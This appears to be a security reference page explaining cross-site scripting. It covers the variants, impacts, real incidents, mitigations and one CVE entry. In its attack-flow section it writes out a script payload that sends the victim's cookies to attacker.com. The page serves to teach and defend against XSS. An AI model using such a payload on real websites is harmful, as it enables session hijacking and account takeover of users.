Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
Keylogging: Monitor and exfiltrate everything users type on the compromised page
Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

CVE-2018-5078

EPSS 0% CVSS 4.8

MEDIUM POC This Month

Online Ticket Booking has XSS via the admin/eventlist.php cast parameter. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.